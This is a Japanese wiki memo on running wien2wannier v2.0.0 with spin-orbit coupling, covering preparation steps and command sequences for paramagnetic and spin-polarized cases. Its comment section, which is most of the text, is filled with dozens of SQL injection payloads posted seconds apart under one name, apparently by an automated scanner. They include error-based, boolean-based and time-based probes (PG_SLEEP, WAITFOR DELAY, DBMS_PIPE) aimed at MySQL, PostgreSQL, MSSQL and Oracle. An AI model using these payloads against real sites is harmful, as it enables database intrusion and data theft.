#author("2020-03-18T10:27:18+00:00","","") [[wien2wannier:https://wien2wannier.github.io/]] user guide があまり丁寧ではなく,スピン軌道結合(SOC)がある場合の説明が正しくないように見えるのでメモ.ただし,バージョンによって仕様がかなり異なるようである.ここではv.2.0.0を扱っている.また,常磁性の場合のみを取り上げる.フィッティングするバンドは,スピン自由度を含めて2N枚. ***準備 [#q86fafb4] -ulimit -s unlimited --w2wの計算の最後でスタックサイズが巨大になるので,unlimitedにしておかないとsegmentation faultすることがある.~/.bashrcに書いておくのが良いだろう. -並列化するなら.machinesファイルを用意しておく.以下,並列化を仮定(オプション-p). -$WIENROOT/SRC_templates/case.win内の変数hr_plotをwrite_hrと書き換えておく(最新版のwannier90の仕様に合わせる). ***実行 [#x852fbb0] +init_w2w -so ++基底軌道は2N個指定することになる.スピン↑と↓で同じ軌道を採るのが自然であろう.1:s;s 2:p;p ... など. +x lapw1 -p +x lapwso -p +x w2w -so -up -p +x w2w -so -dn -p +x wannier90 -so ***spin-polarizedの場合 [#aa2ec79d] +init_w2w +x lapw1 -up -p +x lapw1 -dn -p +x lapwso -up -p +x w2w -so -up -p +x w2w -so -dn -p +x wannier90 -so なお,計算で最も重要なパラメーターはk点の数である. これを大きくすると急速に結果が良くなる. その他,[[基底の並べ方やk点のshiftも影響があるようだ.>wannier90の収束]] - (,),.,"',( -- [[Dcde]] &new{2020-03-18 (水) 19:26:07}; - 'fMfCTh<'">GtQUUK -- [[Dcde]] &new{2020-03-18 (水) 19:26:18}; - ) AND (SELECT 5786 FROM(SELECT COUNT(*),CONCAT(0x71626a6271,(SELECT (ELT(5786=5786,1))),0x7178626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (2591=2591 -- [[Dcde]] &new{2020-03-18 (水) 19:26:28}; - AND (SELECT 5786 FROM(SELECT COUNT(*),CONCAT(0x71626a6271,(SELECT (ELT(5786=5786,1))),0x7178626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) -- [[Dcde]] &new{2020-03-18 (水) 19:26:28}; - ') AND (SELECT 5786 FROM(SELECT COUNT(*),CONCAT(0x71626a6271,(SELECT (ELT(5786=5786,1))),0x7178626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('FjZc'='FjZc -- [[Dcde]] &new{2020-03-18 (水) 19:26:28}; - ' AND (SELECT 5786 FROM(SELECT COUNT(*),CONCAT(0x71626a6271,(SELECT (ELT(5786=5786,1))),0x7178626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'vMjR'='vMjR -- [[Dcde]] &new{2020-03-18 (水) 19:26:29}; - AND (SELECT 5786 FROM(SELECT COUNT(*),CONCAT(0x71626a6271,(SELECT (ELT(5786=5786,1))),0x7178626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gMfd -- [[Dcde]] &new{2020-03-18 (水) 19:26:29}; - ) AND 1822=CAST((CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (1822=1822) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(106)||CHR(113)) AS NUMERIC) AND (1540=1540 -- [[Dcde]] &new{2020-03-18 (水) 19:26:29}; - AND 1822=CAST((CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (1822=1822) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(106)||CHR(113)) AS NUMERIC) -- [[Dcde]] &new{2020-03-18 (水) 19:26:30}; - ') AND 1822=CAST((CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (1822=1822) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(106)||CHR(113)) AS NUMERIC) AND ('iDlC'='iDlC -- [[Dcde]] &new{2020-03-18 (水) 19:26:30}; - ' AND 1822=CAST((CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (1822=1822) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(106)||CHR(113)) AS NUMERIC) AND 'YCYV'='YCYV -- [[Dcde]] &new{2020-03-18 (水) 19:26:30}; - AND 1822=CAST((CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (1822=1822) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(106)||CHR(113)) AS NUMERIC)-- xrEd -- [[Dcde]] &new{2020-03-18 (水) 19:26:31}; - ) AND 5709 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5709=5709) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(106)+CHAR(113))) AND (2211=2211 -- [[Dcde]] &new{2020-03-18 (水) 19:26:36}; - AND 5709 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5709=5709) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(106)+CHAR(113))) -- [[Dcde]] &new{2020-03-18 (水) 19:26:36}; - ') AND 5709 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5709=5709) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(106)+CHAR(113))) AND ('tLqy'='tLqy -- [[Dcde]] &new{2020-03-18 (水) 19:26:37}; - ' AND 5709 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5709=5709) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(106)+CHAR(113))) AND 'ngxL'='ngxL -- [[Dcde]] &new{2020-03-18 (水) 19:26:37}; - AND 5709 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5709=5709) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(106)+CHAR(113)))-- VnXm -- [[Dcde]] &new{2020-03-18 (水) 19:26:37}; - ) AND 9207=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (9207=9207) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(98)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND (4534=4534 -- [[Dcde]] &new{2020-03-18 (水) 19:26:38}; - AND 9207=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (9207=9207) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(98)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) -- [[Dcde]] &new{2020-03-18 (水) 19:26:39}; - ') AND 9207=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (9207=9207) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(98)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND ('Usji'='Usji -- [[Dcde]] &new{2020-03-18 (水) 19:26:39}; - ' AND 9207=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (9207=9207) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(98)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND 'uvNm'='uvNm -- [[Dcde]] &new{2020-03-18 (水) 19:26:39}; - AND 9207=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (9207=9207) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(98)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL)-- KaFj -- [[Dcde]] &new{2020-03-18 (水) 19:26:40}; - (SELECT 3798 FROM(SELECT COUNT(*),CONCAT(0x71626a6271,(SELECT (ELT(3798=3798,1))),0x7178626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) -- [[Dcde]] &new{2020-03-18 (水) 19:26:46}; - );SELECT PG_SLEEP(5)-- -- [[Dcde]] &new{2020-03-18 (水) 19:26:52}; - ;SELECT PG_SLEEP(5)-- -- [[Dcde]] &new{2020-03-18 (水) 19:26:53}; - ');SELECT PG_SLEEP(5)-- -- [[Dcde]] &new{2020-03-18 (水) 19:26:53}; - ';SELECT PG_SLEEP(5)-- -- [[Dcde]] &new{2020-03-18 (水) 19:26:54}; - );WAITFOR DELAY '0:0:5'-- -- [[Dcde]] &new{2020-03-18 (水) 19:26:56}; - ;WAITFOR DELAY '0:0:5'-- -- [[Dcde]] &new{2020-03-18 (水) 19:26:57}; - ');WAITFOR DELAY '0:0:5'-- -- [[Dcde]] &new{2020-03-18 (水) 19:26:57}; - ';WAITFOR DELAY '0:0:5'-- -- [[Dcde]] &new{2020-03-18 (水) 19:26:58}; - ';WAITFOR DELAY '0:0:0'-- -- [[Dcde]] &new{2020-03-18 (水) 19:27:01}; - ';WAITFOR DELAY '0:0:5'-- -- [[Dcde]] &new{2020-03-18 (水) 19:27:01}; - );SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(109)||CHR(83)||CHR(70)||CHR(87),5) FROM DUAL-- -- [[Dcde]] &new{2020-03-18 (水) 19:27:03}; - ;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(109)||CHR(83)||CHR(70)||CHR(87),5) FROM DUAL-- -- [[Dcde]] &new{2020-03-18 (水) 19:27:04}; - ');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(109)||CHR(83)||CHR(70)||CHR(87),5) FROM DUAL-- -- [[Dcde]] &new{2020-03-18 (水) 19:27:04}; - ';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(109)||CHR(83)||CHR(70)||CHR(87),5) FROM DUAL-- -- [[Dcde]] &new{2020-03-18 (水) 19:27:04}; - ';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(109)||CHR(83)||CHR(70)||CHR(87),0) FROM DUAL-- -- [[Dcde]] &new{2020-03-18 (水) 19:27:06}; - ';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(109)||CHR(83)||CHR(70)||CHR(87),5) FROM DUAL-- -- [[Dcde]] &new{2020-03-18 (水) 19:27:06}; - ) ORDER BY 1-- Yfqx -- [[Dcde]] &new{2020-03-18 (水) 19:27:16}; - ORDER BY 1-- cwQz -- [[Dcde]] &new{2020-03-18 (水) 19:27:17}; - ') ORDER BY 1-- qGQO -- [[Dcde]] &new{2020-03-18 (水) 19:27:17}; - ' ORDER BY 1-- tJbJ -- [[Dcde]] &new{2020-03-18 (水) 19:27:18}; - ORDER BY 1-- SrjU -- [[Dcde]] &new{2020-03-18 (水) 19:27:18}; #comment